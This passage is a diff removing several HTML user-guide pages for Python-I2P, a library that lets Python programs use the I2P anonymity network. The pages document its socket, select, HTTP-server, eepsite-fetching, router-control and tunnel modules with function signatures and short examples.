The Python module is described at <a href="http://www.python.org/doc/current/lib/module-BaseHTTPServer.html" class='printable' title="http://www.python.org/doc/current/lib/module-BaseHTTPServer.html">http://www.python.org/doc/current/lib/module-BaseHTTPServer.html</a>
<p>
To get a server going, use:
<p>
<ul ><pre>
&gt;&gt;&gt; from i2p import BaseHTTPServer
&gt;&gt;&gt; BaseHTTPServer.test().
</pre>
</ul >
<p>
Consult the documentation for function test() to change basic server settings, such as the session name.
<p>
A fully customizable example:
<p>
<ul ><pre>
&gt;&gt;&gt; from i2p import BaseHTTPServer
&gt;&gt;&gt; session = &quot;mytestxxx.i2p&quot; # SAM session name
&gt;&gt;&gt; class MyServer(BaseHTTPServer.HTTPServer): pass
&gt;&gt;&gt; class MyRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): pass
&gt;&gt;&gt; httpd = MyServer(session, MyRequestHandler)
&gt;&gt;&gt; httpd.socket.dest
(Base64 Destination of server)
&gt;&gt;&gt; httpd.serve_forever()
</pre>
</ul >
<p>
<h2><a name="Classes"> Classes </a></h2>
<p>
class <strong>BaseHTTPRequestHandler</strong>
<ul ><pre>
Same interface as Python class BaseHTTPServer.BaseHTTPRequestHandler.
</pre>
</ul >
class <strong>HTTPServer</strong>
<ul ><pre>
Same interface as Python class BaseHTTPServer.HTTPServer.
</pre>
</ul >
<p>
<h2><a name="Functions"> Functions </a></h2>
<p>
<strong>test</strong>(HandlerClass=BaseHTTPRequestHandler, ServerClass=HTTPServer, protocol='HTTP/1.0', session='mytestxxx.i2p')
<ul ><pre>
Test the HTTP request handler class.
This runs an I2P TCP server under SAM session 'session'. If a single command
line argument is given, the argument is used instead as the SAM session name.
</pre>
</ul >
<p>
</div>
</body></html>

View File

@ -1,90 +0,0 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><title>User's Guide:i2p.CGIHTTPServer - Wikipedia</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<style type='text/css'><!--
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
#article { margin-left: 152px; margin-right: 4px; }
/* */
//--></style>
</head>
<body bgcolor='#FFFFFF' onload=''>
<h1 class='pagetitle'>User's Guide:i2p.CGIHTTPServer</h1><p class='subtitle'>From Python-I2P.
<div class='bodytext'>
Module <code >i2p.CGIHTTPServer</code > emulates the Python CGIHTTPServer module using I2P sockets.
<p>
<h2><a name="Overview"> Overview </a></h2>
<p>
The Python module is described at <a href="http://www.python.org/doc/current/lib/module-CGIHTTPServer.html" class='printable' title="http://www.python.org/doc/current/lib/module-CGIHTTPServer.html">http://www.python.org/doc/current/lib/module-CGIHTTPServer.html</a>
<p>
To get a server going, use:
<p>
<ul ><pre>
&gt;&gt;&gt; from i2p import CGIHTTPServer
&gt;&gt;&gt; CGIHTTPServer.test().
</pre>
</ul >
<p>
Consult the documentation for function test() to change basic server settings, such as the session name.
<p>
A fully customizable example:
<p>
<ul ><pre>
&gt;&gt;&gt; from i2p import BaseHTTPServer, CGIHTTPServer
&gt;&gt;&gt; session = &quot;mytestxxx.i2p&quot; # SAM session name
&gt;&gt;&gt; class MyServer(BaseHTTPServer.HTTPServer): pass
&gt;&gt;&gt; class MyRequestHandler(CGIHTTPServer.CGIHTTPRequestHandler): pass
&gt;&gt;&gt; httpd = MyServer(session, MyRequestHandler)
&gt;&gt;&gt; httpd.socket.dest
(Base64 Destination of server)
&gt;&gt;&gt; httpd.serve_forever()
</pre>
</ul >
<p>
<h2><a name="Classes"> Classes </a></h2>
<p>
class <strong>CGIHTTPRequestHandler</strong>
<ul ><pre>
Same interface as Python class CGIHTTPServer.CGIHTTPRequestHandler.
</pre>
</ul >
<p>
<h2><a name="Functions"> Functions </a></h2>
<p>
<strong>test</strong>(HandlerClass=CGIHTTPRequestHandler,
ServerClass=i2p.BaseHTTPServer.HTTPServer,
session='mytestxxx.i2p')
<ul ><pre>
Test the HTTP CGI request handler class.
This runs an I2P TCP server under SAM session 'session'. If a single
command line argument is given, the argument is used instead as the SAM session
name.
</pre>
</ul >
<p>
</div>
</body></html>

View File

@ -1,88 +0,0 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><title>User's Guide:i2p.SimpleHTTPServer - Wikipedia</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<style type='text/css'><!--
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
#article { margin-left: 152px; margin-right: 4px; }
/* */
//--></style>
</head>
<body bgcolor='#FFFFFF' onload=''>
<h1 class='pagetitle'>User's Guide:i2p.SimpleHTTPServer</h1><p class='subtitle'>From Python-I2P.
<div class='bodytext'>
Emulates Python SimpleHTTPServer module using I2P sockets.
<p>
<h2><a name="Overview"> Overview </a></h2>
<p>
The Python module is described at <a href="http://www.python.org/doc/current/lib/module-SimpleHTTPServer.html" class='printable' title="http://www.python.org/doc/current/lib/module-SimpleHTTPServer.html">http://www.python.org/doc/current/lib/module-SimpleHTTPServer.html</a>
<p>
To get a server going, use:
<p>
<ul ><pre>
&gt;&gt;&gt; from i2p import SimpleHTTPServer
&gt;&gt;&gt; SimpleHTTPServer.test().
</pre>
</ul >
<p>
Consult the documentation for function test() to change basic server settings, such as the session name.
<p>
A fully customizable example:
<p>
<ul ><pre>
&gt;&gt;&gt; from i2p import BaseHTTPServer, SimpleHTTPServer
&gt;&gt;&gt; session = &quot;mytestxxx.i2p&quot; # SAM session name
&gt;&gt;&gt; class MyServer(BaseHTTPServer.HTTPServer): pass
&gt;&gt;&gt; class MyRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): pass
&gt;&gt;&gt; httpd = MyServer(session, MyRequestHandler)
&gt;&gt;&gt; httpd.socket.dest
(Base64 Destination of server)
&gt;&gt;&gt; httpd.serve_forever()
</pre>
</ul >
<p>
<h2><a name="Classes"> Classes </a></h2>
<p>
class <strong>SimpleHTTPRequestHandler</strong>
<ul ><pre>
Same interface as Python class SimpleHTTPServer.SimpleHTTPRequestHandler.
</pre>
</ul >
<p>
<h2><a name="Functions"> Functions </a></h2>
<p>
<strong>test</strong>(HandlerClass=SimpleHTTPRequestHandler, ServerClass= i2p.BaseHTTPServer.HTTPServer, session='mytestxxx.i2p')
<ul ><pre>
Test the HTTP simple request handler class.
This runs an I2P TCP server under SAM session 'session'. If a single command
line argument is given, the argument is used instead as the SAM session name.
</pre>
</ul >
<p>
</div>
</body></html>

View File

@ -1,50 +0,0 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><title>User's Guide:i2p.SocketServer - Wikipedia</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<style type='text/css'><!--
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
#article { margin-left: 152px; margin-right: 4px; }
/* */
//--></style>
</head>
<body bgcolor='#FFFFFF' onload=''>
<h1 class='pagetitle'>User's Guide:i2p.SocketServer</h1><p class='subtitle'>From Python-I2P.
<div class='bodytext'>
Emulates Python SocketServer module using I2P sockets.
<p>
The Python module is described at <a href="http://www.python.org/doc/current/lib/module-SocketServer.html" class='printable' title="http://www.python.org/doc/current/lib/module-SocketServer.html">http://www.python.org/doc/current/lib/module-SocketServer.html</a>
<p>
<h2><a name="Classes"> Classes </a></h2>
<p>
<ul ><pre>
BaseRequestHandler
BaseServer
DatagramRequestHandler
ForkingMixIn
ForkingTCPServer
ForkingUDPServer
StreamRequestHandler
TCPServer
ThreadingMixIn
ThreadingTCPServer
ThreadingUDPServer
UDPServer
</pre>
</ul >
<p>
</div>
</body></html>

View File

@ -1,53 +0,0 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><title>User's Guide:i2p.eep - Wikipedia</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<style type='text/css'><!--
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
#article { margin-left: 152px; margin-right: 4px; }
/* */
//--></style>
</head>
<body bgcolor='#FFFFFF' onload=''>
<h1 class='pagetitle'>User's Guide:i2p.eep</h1><p class='subtitle'>From Python-I2P.
<div class='bodytext'>
Module <code >i2p.eep</code > allows Python programs to access the <a href="./eeproxy.html" class='printable' title ="Eeproxy">Eeproxy</a>.
<p>
With this module, a program can easily download eepsites.
<p>
<h2><a name="Functions"> Functions </a></h2>
<p>
<strong>urlopen</strong>(url, eepaddr='127.0.0.1:4444')
<ul >
<pre> Like urllib2.urlopen(url), but only works for eep-sites.
Example: f = urlopen('<a href="http://duck.i2p/index.html" class='printable' title="http://duck.i2p/index.html">http://duck.i2p/index.html</a>')
</pre>
</ul >
<strong>urlget</strong>(url, eepaddr='127.0.0.1:4444')
<ul >
<pre> Get contents of an eepsite.
Example: urlget('<a href="http://duck.i2p/" class='printable' title="http://duck.i2p/">http://duck.i2p/</a>').
</pre>
</ul >
<p>
</div>
<p><em>
</em><!-- Time since request: 0.78 secs. -->
</body></html>

View File

@ -1,59 +0,0 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><title>User's Guide:i2p - Wikipedia</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<style type='text/css'><!--
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
#article { margin-left: 152px; margin-right: 4px; }
/* */
//--></style>
</head>
<body bgcolor='#FFFFFF' onload=''>
<h1 class='pagetitle'>User's Guide:i2p</h1><p class='subtitle'>From Python-I2P.
<div class='bodytext'>
Package <code >i2p</code > is a container package for more specific modules.
<p>
It contains the following modules:
<p>
<ul >
<pre> <a href="i2p.BaseHTTPServer.html" class='printable' title ="User's Guide:i2p.BaseHTTPServer">i2p.BaseHTTPServer</a> (Emulate Python BaseHTTPServer module)
<a href="i2p.CGIHTTPServer.html" class='printable' title ="User's Guide:i2p.CGIHTTPServer">i2p.CGIHTTPServer</a> (Emulate Python CGIHTTPServer module)
<a href="i2p.eep.html" class='printable' title ="User's Guide:i2p.eep">i2p.eep</a> (Retrieve eepsites)
<a href="i2p.router.html" class='printable' title ="User's Guide:i2p.router">i2p.router</a> (Manage the I2P router)
<a href="i2p.select.html" class='printable' title ="User's Guide:i2p.select">i2p.select</a> (Emulate Python select module)
<a href="i2p.SimpleHTTPServer.html" class='printable' title ="User's Guide:i2p.SimpleHTTPServer">i2p.SimpleHTTPServer</a> (Emulate Python SimpleHTTPServer module)
<a href="i2p.socket.html" class='printable' title ="User's Guide:i2p.socket">i2p.socket</a> (Send and receive across the I2P network)
<a href="i2p.SocketServer.html" class='printable' title ="User's Guide:i2p.SocketServer">i2p.SocketServer</a> (Emulate Python SocketServer module)
<a href="i2p.tunnel.html" class='printable' title ="User's Guide:i2p.tunnel">i2p.tunnel</a> (Exchange data between I2P and regular sockets)
</pre>
</ul >
class <strong>Error</strong>(Exception):
<ul >
<pre> Base class for all I2P errors.
</pre>
</ul >
<p>
class <strong>RouterError</strong>(Error):
<ul >
<pre> Could not connect to router.
</pre>
</ul >
<p>
</div>
</body></html>

View File

@ -1,85 +0,0 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><title>User's Guide:i2p.router - Wikipedia</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<style type='text/css'><!--
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
#article { margin-left: 152px; margin-right: 4px; }
/* */
//--></style>
</head>
<body bgcolor='#FFFFFF' onload=''>
<h1 class='pagetitle'>User's Guide:i2p.router</h1><p class='subtitle'>From Python-I2P.
<div class='bodytext'>
Module <code >i2p.router</code > allows Python programs to control the I2P router.
<p>
<h2><a name="Functions"> Functions </a></h2>
<p>
<strong>check</strong>(dir=None)
<ul ><pre>
Checks whether a locally installed router is running. Does
nothing if successful, otherwise raises i2p.RouterError.
An I2P installation is located by using find(dir).
The router.config file is parsed for 'router.adminPort'.
This port is queried to determine whether the router is
running.
</pre>
</ul >
<strong>find</strong>(dir=None)
<ul ><pre>
Find the absolute path to a locally installed I2P router.
An I2P installation is located by looking in the
dir argument given to the function, then in the environment
I2P, then in PATH. It looks for startRouter.sh or
startRouter.bat. Raises ValueError if an I2P installation
could not be located.
</pre>
</ul >
<strong>start</strong>(dir=None, hidden=False)
<ul ><pre>
Start a locally installed I2P router. Does nothing if
the router has already been started.
An I2P installation is located by using find(dir).
If hidden is True, do not show a terminal for the router.
</pre>
</ul >
<strong>stop</strong>(dir=None, force=False)
<ul ><pre>
Stop a locally installed I2P router, if it was started by
the current Python program. If force is True, stop the
router even if it was started by another process. Do nothing
if force is False and the router was started by another program.
The file 'router.config' is located using the same search
process used for find(dir). It is parsed for
'router.shutdownPassword' and 'router.adminPort'. The
router is shut down through the admin port.
Raises i2p.RouterError if the I2P router is running but cannot
be stopped. You must uncomment the
'router.shutdownPassword' line for this command to work.
</pre>
</ul >
<p>
</div>
<p><em>
</em><!-- Time since request: 0.77 secs. -->
</body></html>

View File

@ -1,60 +0,0 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><title>User's Guide:i2p.select - Wikipedia</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<style type='text/css'><!--
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
#article { margin-left: 152px; margin-right: 4px; }
/* */
//--></style>
</head>
<body bgcolor='#FFFFFF' onload=''>
<h1 class='pagetitle'>User's Guide:i2p.select</h1><p class='subtitle'>From Python-I2P.
<div class='bodytext'>
Module <code >i2p.select</code > emulates the Python module <code >select</code >.
<p>
With this module, a program can perform select and poll commands on traditional and I2P sockets.
<p>
<strong>poll</strong>()
<ul >
<pre> Returns a polling object. Works on SAM sockets and Python sockets.
See <a href='http://www.python.org/doc/current/lib/module-select.html' class='printable' title="http://www.python.org/doc/current/lib/module-select.html">select.poll()</a> in the Python library for more information.
</pre>
</ul >
<p>
<strong>select</strong>(readlist, writelist, errlist, timeout=None)
<ul >
<pre> Performs a select call. Works on SAM sockets and Python sockets.
See <a href='http://www.python.org/doc/current/lib/module-select.html' class='printable' title="http://www.python.org/doc/current/lib/module-select.html">select.select()</a> in the Python library for more information.
</pre>
</ul >
<p>
<strong>Polling flags</strong>
<ul ><pre>
POLLIN = 1
POLLOUT = 4
POLLERR = 8
POLLHUP = 16
POLLNVAL = 32
POLLPRI = 1
</pre>
</ul >
<p>
</div>
</body></html>

View File

@ -1,376 +0,0 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><title>User's Guide:i2p.socket - Wikipedia</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<style type='text/css'><!--
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
#article { margin-left: 152px; margin-right: 4px; }
/* */
//--></style>
</head>
<body bgcolor='#FFFFFF' onload=''>
<h1 class='pagetitle'>User's Guide:i2p.socket</h1><p class='subtitle'>From Python-I2P.
<div class='bodytext'><a name="top"></a>
Module <code >i2p.socket</code > allows Python programs to access the <a href="samproxy.html" class='printable' title ="SAM proxy">SAM proxy</a>. It emulates the Python module <code >socket</code >.
<p>
With this module, a program can send stream data, datagrams, and raw packets across the I2P network.
<p>
<p><table border="0" id="toc"><tr><td align="center">
<b>Table of contents</b></td></tr><tr id='tocinside'><td>
<div style="margin-bottom:0px;">
<A CLASS="internal" HREF="#Sockets">1 Sockets</A><BR>
</div>
<div style="margin-bottom:0px;">
<A CLASS="internal" HREF="#Functions">2 Functions</A><BR>
</div>
<div style="margin-bottom:0px;">
<A CLASS="internal" HREF="#Errors">3 Errors</A><BR>
</div>
<div style="margin-bottom:0px;">
<A CLASS="internal" HREF="#Constants">4 Constants</A><BR>
</div>
</td></tr></table><P>
<h2><a name="Sockets"> Sockets </a></h2>
<p>
class <strong>socket</strong>(session, type, samaddr='127.0.0.1:7656', **kwargs)
<ul ><pre>
Create a new socket. Argument session should be a session
name -- if the name has not yet been used, an I2P
Destination will be created for it, otherwise, the
existing Destination will be re-used. An empty session
string causes a transient session to be created. Argument
type is one of SOCK_STREAM, SOCK_DGRAM, or SOCK_RAW.
I2P configuration keyword arguments:
- in_depth - depth of incoming tunnel (default 2)
- out_depth - depth of outgoing tunnel (default 2)
A single session may be shared by more than one socket, if
the sockets are the same type, and if the sockets are
created within the same Python process. The socket
objects are multithread-safe.
Examples:
&gt;&gt;&gt; a = i2p.socket('Alice', i2p.SOCK_STREAM)
&gt;&gt;&gt; b = i2p.socket('Bob', i2p.SOCK_DGRAM,
in_depth=2, out_depth=5)
The created object behaves identically to a socket from
module socket, with the following exceptions:
* I2P Destinations are used as address arguments [1].
* bind is a no-op: sockets are always bound.
* send* methods send all data and are non-blocking.
A given session name can only be open in a single Python
program at a time. If you need to overcome this
limitation, consider patching I2P.
[1]. Alternatively, a host name can be used as an address.
It will be resolved using hosts.txt.
</pre>
<pre> For details on how to use socket objects, see
<a href="http://www.python.org/doc/current/lib/socket-objects.html" class='printable' title="http://www.python.org/doc/current/lib/socket-objects.html">http://www.python.org/doc/current/lib/socket-objects.html</a>
</pre>
<p>
<pre> See the examples directory for code examples.
</pre>
</ul >
The class <code >socket</code > defines the following properties:
<ul >
<pre> dest - Local I2P Destination of socket
session - Session name
type - Socket type: SOCK_STREAM, SOCK_DGRAM, or SOCK_RAW.
</pre>
</ul >
<p>
The class <code >socket</code > defines the following methods:
<p>
<strong>accept</strong>(self)
<ul ><pre>
Accept an incoming connection. The socket must be type SOCK_STREAM, and
listen() must be called prior to this command. The return value is (conn,
remotedest), where conn is a new socket object made for the connection, and
remotedest is the remote Destination from which the connection was made.
Example:
&gt;&gt;&gt; from i2p import socket
&gt;&gt;&gt; s = socket.socket('Alice', socket.SOCK_STREAM)
&gt;&gt;&gt; s.listen(10)
This prepares the server. Now accept an incoming connection:
&gt;&gt;&gt; c, remotedest = s.accept()
&gt;&gt;&gt; c.send('hello world!')
If accept() is called on a socket that is in non-blocking mode or has a
timeout, i2p.socket.BlockError or i2p.socket.Timeout may be raised. This
indicates that no incoming connection is currently available.
</pre>
</ul >
<strong>bind</strong>(self, address)
<ul ><pre>
Does nothing. Provided for compatibility with the Python socket command
bind(), which binds a server to a port.
</pre>
</ul >
<strong>close</strong>(self)
<ul ><pre>
Closes the socket. It is an error to call any method other than recv() or
recvfrom() on a closed socket. For streams, the receive methods return data
that was received prior to the closing of the socket. For datagram and raw
sockets, the receive methods cannot be used on a closed socket.
</pre>
</ul >
<strong>connect</strong>(self, address)
<ul ><pre>
Connect to a remote dest, identified in local SAM bridge's hosts file as host
'address'.
For example:
&gt;&gt;&gt; s.connect('duck.i2p')
Alternatively, you can use a full base64 Destination:
Example:
&gt;&gt;&gt; s.connect('238797sdfh2k34kjh....AAAA')
If connect() is called on a socket that is in non-blocking mode or has a
timeout, i2p.socket.BlockError or i2p.socket.Timeout may be raised. This
indicates that the connection is still being initiated. Use i2p.select.select()
to determine when the connection is ready.
</pre>
</ul >
<strong>connect_ex</strong>(self, address)
<ul ><pre>
Like connect(), but return any error that is raised. Returns None if no error
is raised.
</pre>
</ul >
<strong>getpeername</strong>(self)
<ul ><pre>
Get the remote Destination associated with the socket. This is equivalent to
s.remotedest, and is provided for compatibility with the Python socket module.
</pre>
</ul >
<strong>getsockname</strong>(self)
<ul ><pre>
Get the local Destination associated with the socket. This is equivalent to
s.dest, and is provided for compatibility with the Python socket module.
</pre>
</ul >
<strong>gettimeout</strong>(self)
<ul ><pre>
Get the timeout value.
</pre>
</ul >
<strong>listen</strong>(self, backlog)
<ul ><pre>
Listen for connections made to the socket. This method must be called before
accept(). The backlog argument specifies the maximum number of queued incoming
connections.
</pre>
</ul >
<strong>makefile</strong>(self, mode='r', bufsize=-1)
<ul ><pre>
Return a file object for the socket. See socket.makefile() in the Python
documentation for more information.
</pre>
</ul >
<strong>recv</strong>(self, bufsize, flags=0)
<ul ><pre>
Receive string data from the socket.
The maximum amount of data to be received is given by bufsize. If bufsize is
zero, this function returns an empty string immediately. If bufsize is nonzero,
this function blocks until at least one character is available for reading. If
the socket has been closed, an empty string is returned as an end of file
indicator.
If recv() is called on a socket that is in non-blocking mode or has a timeout,
i2p.socket.BlockError or i2p.socket.Timeout will be raised if data is not
available within the given timeframe.
For a datagram or raw socket, the first bufsize characters of the packet are
read, and the remainder of the packet is discarded. To read the entire packet,
use bufsize = -1.
For datagram and raw sockets, the packet may originate from any Destination.
Use recvfrom() with datagrams to determine the Destination from which the
packet was received.
The flags argument can be a bitwise OR of MSG_PEEK, MSG_WAITALL, and/or
MSG_DONTWAIT. MSG_PEEK indicates that any data read should not be removed from
the socket's incoming buffer. MSG_WAITALL indicates to wait for exactly bufsize
characters or an error. MSG_DONTWAIT indicates that the recv() command should
not block execution.
</pre>
</ul >
<strong>recvfrom</strong>(self, bufsize, flags=0)
<ul ><pre>
Like recv(), but returns a tuple (data, remoteaddr), where data is the string
data received, and remoteaddr is the remote Destination.
</pre>
</ul >
<strong>send</strong>(self, string, flags=0)
<ul ><pre>
Sends string data to a remote Destination.
For a stream, connect() must be called prior to send(). Once close() is called,
no further data can be sent, and the stream cannot be re-opened.
For datagram and raw sockets, connect() only specifies a Destination to which
packets are sent to. send() will then send a packet to the given Destination.
connect() can be used multiple times.
The send() command never blocks execution. The flags argument is ignored.
</pre>
</ul >
<strong>sendall</strong>(self, string, flags=0)
<ul ><pre>
Identical to send().
</pre>
</ul >
<strong>sendto</strong>(self, string, flags, address)
<ul ><pre>
Send a packet to the given Destination.
Only valid for datagram and raw sockets. The address argument should be either
a name from the hosts file, or a base64 Destination.
The sendto() command never blocks execution. The flags argument is ignored.
</pre>
</ul >
<strong>setblocking</strong>(self, flag)
<ul ><pre>
Set blocking or non-blocking mode for the socket.
If flag is True, any method called on the socket will hang until the method has
completed. If flag is False, all methods will raise i2p.socket.BlockError() if
they cannot complete instantly.
s.setblocking(False) is equivalent to s.settimeout(0); s.setblocking(True) is
equivalent to s.settimeout(None).
</pre>
</ul >
<strong>settimeout</strong>(self, value)
<ul ><pre>
Set a timeout for the socket.
The value argument should be a timeout value in seconds, or None. None is
equivalent to an infinite timeout.
A socket operation will raise a i2p.socket.Timeout if the operation cannot
complete within in the specified time limit.
</pre>
</ul >
<p>
<h2><a name="Functions"> Functions </a></h2>
<p>
Functions defined in module <code >i2p.socket</code >:
<p>
<strong>resolve</strong>(host, samaddr='127.0.0.1:7656')
<ul >
<pre> Resolve I2P host name --&gt; I2P Destination.
Returns the same string if host is already a Destination.
</pre>
</ul >
<p>
<h2><a name="Errors"> Errors </a></h2>
<p>
class <strong>Error</strong>(i2p.Error)
<ul ><pre>
Base class for all SAM errors.
</pre>
</ul >
class <strong>BlockError</strong>(Error)
<ul ><pre>
Socket call would have blocked.
</pre>
</ul >
class <strong>ClosedError</strong>(Error)
<ul ><pre>
A command was used on a socket that closed gracefully.
</pre>
</ul >
class <strong>NetworkError</strong>(Error)
<ul ><pre>
Network error occurred within I2P.
The error object is a 2-tuple: (errtag, errdesc).
errtag is a SAM error string,
errdesc is a human readable error description.
</pre>
</ul >
<p>
<h2><a name="Constants"> Constants </a></h2>
<p>
<strong>Socket types</strong>
<ul ><pre>
SOCK_STREAM = 1
SOCK_DGRAM = 2
SOCK_RAW = 3
</pre>
</ul >
<strong>Packet sizes</strong>
<ul ><pre>
MAX_DGRAM = 31744 # Maximum size for datagram packet
MAX_RAW = 32768 # Maximum size for raw packet
</pre>
</ul >
<strong>Flags for recv()</strong>
<ul ><pre>
MSG_DONTWAIT = 128 # Don't block
MSG_PEEK = 2 # Peek at incoming data
MSG_WAITALL = 64 # Wait for all data or error
</pre>
</ul >
<p>
</div>
</body></html>

View File

@ -1,124 +0,0 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><title>User's Guide:i2p.tunnel - Wikipedia</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<style type='text/css'><!--
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
#article { margin-left: 152px; margin-right: 4px; }
/* */
//--></style>
</head>
<body bgcolor='#FFFFFF' onload=''>
<h1 class='pagetitle'>User's Guide:i2p.tunnel</h1><p class='subtitle'>From Python-I2P.
<div class='bodytext'>
Module <code >i2p.tunnel</code > allows data to be exchanged between traditional TCP sockets and I2P sockets.
<p>
<h2><a name="Tunnels"> Tunnels </a></h2>
<p>
Tunnels allow stream sockets to be joined, so that connections to a listening socket are relayed to one or more sending sockets. This allows an ordinary web server to be exposed as an I2P Destination, or an I2P Destination to be bound as a local port, and so on.
<p>
class <strong>Tunnel</strong>(self, receive, make_send, nconnect=-1, timeout=60.0)
<ul ><pre>
A Tunnel relays connections from a 'receive' socket to one
or more 'send' sockets. The receive socket must be bound
and listening. For each incoming connection, a new send
socket is created by calling make_send(). Data is then
exchanged between the created streams until one socket is
closed. nconnect is the maximum number of simultaneous
connections (-1 for infinite), and timeout is the time that
a single connection can last for (None allows a connection
to last forever).
Sockets must accept stream traffic and support the Python
socket interface. A separate daemonic thread is created to
manage the tunnel. For high performance, make_send() should
make a socket and connect in non-blocking mode (you should
catch and discard the i2p.socket.BlockError or socket.error
due to executing connect on a non-blocking socket).
Security Note:
A firewall is needed to maintain the end user's anonymity.
An attacker could keep a tunnel socket open by pinging it
regularly. The accepted sockets from 'receive' must prevent
this by closing down eventually.
Socket errors do not cause the Tunnel to shut down.
</pre>
</ul >
<p>
<strong>close</strong>()
<ul >
<pre> Close all connections made for this tunnel.
</pre>
</ul >
<p>
<h3><a name="Tunnel_Server"> Tunnel Server </a></h3>
<p>
class <strong>TunnelServer</strong>(session, port, samaddr='127.0.0.1:7656', nconnect=-1, timeout=None, **kwargs)
<ul ><pre>
Tunnels incoming SAM streams --&gt; localhost:port.
nconnect and timeout are the maximum number of connections
and maximum time per connection. All other arguments are
passed to i2p.socket.socket(). This call blocks until the
tunnel is ready.
</pre>
</ul >
<p>
<strong>TunnelServer</strong> properties:
<ul ><pre>
dest - I2P Destination of server.
session - Session name for server.
</pre>
</ul >
<p>
<h3><a name="Tunnel_Client"> Tunnel Client </a></h3>
<p>
class <strong>TunnelClient</strong>(session, port, dest, samaddr='127.0.0.1:7656', nconnect=-1, timeout=None, **kwargs)
<ul ><pre>
Derived from Tunnel.
Tunnels localhost:port --&gt; I2P Destination dest.
A session named 'session' is created locally, for purposes
of routing to 'dest'. nconnect and timeout are the maximum
number of connections and maximum time per connection. All
other arguments are passed to i2p.socket.socket(). This call
blocks until the tunnel is ready.
</pre>
</ul >
<p>
<strong>TunnelClient</strong> properties:
<ul ><pre>
dest - Local Destination used for routing.
remotedest - Remote Destination.
session - Session name for local Destination.
</pre>
</ul >
<p>
</div>
</body></html>

View File

@ -1,82 +0,0 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><title>Main Page - Wikipedia</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<style type='text/css'><!--
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
#article { margin-left: 152px; margin-right: 4px; }
/* */
//--></style>
</head>
<body bgcolor='#FFFFFF' onload=''>
<h1 class='pagetitle'>Main Page</h1><p class='subtitle'>From Python-I2P.
<div class='bodytext'>
<strong>Python-I2P</strong> is a Python interface to <a href='http://www.i2p.net' class='printable' title="http://www.i2p.net">I2P</a>.
<p>
<h2><a name="Quick_Start"> Quick Start </a></h2>
<p>
Install:
<p>
<ul ><pre>
python setup.py install
</pre>
</ul >
<p>
Use:
<p>
<ul ><pre>
&gt;&gt;&gt; from i2p import socket
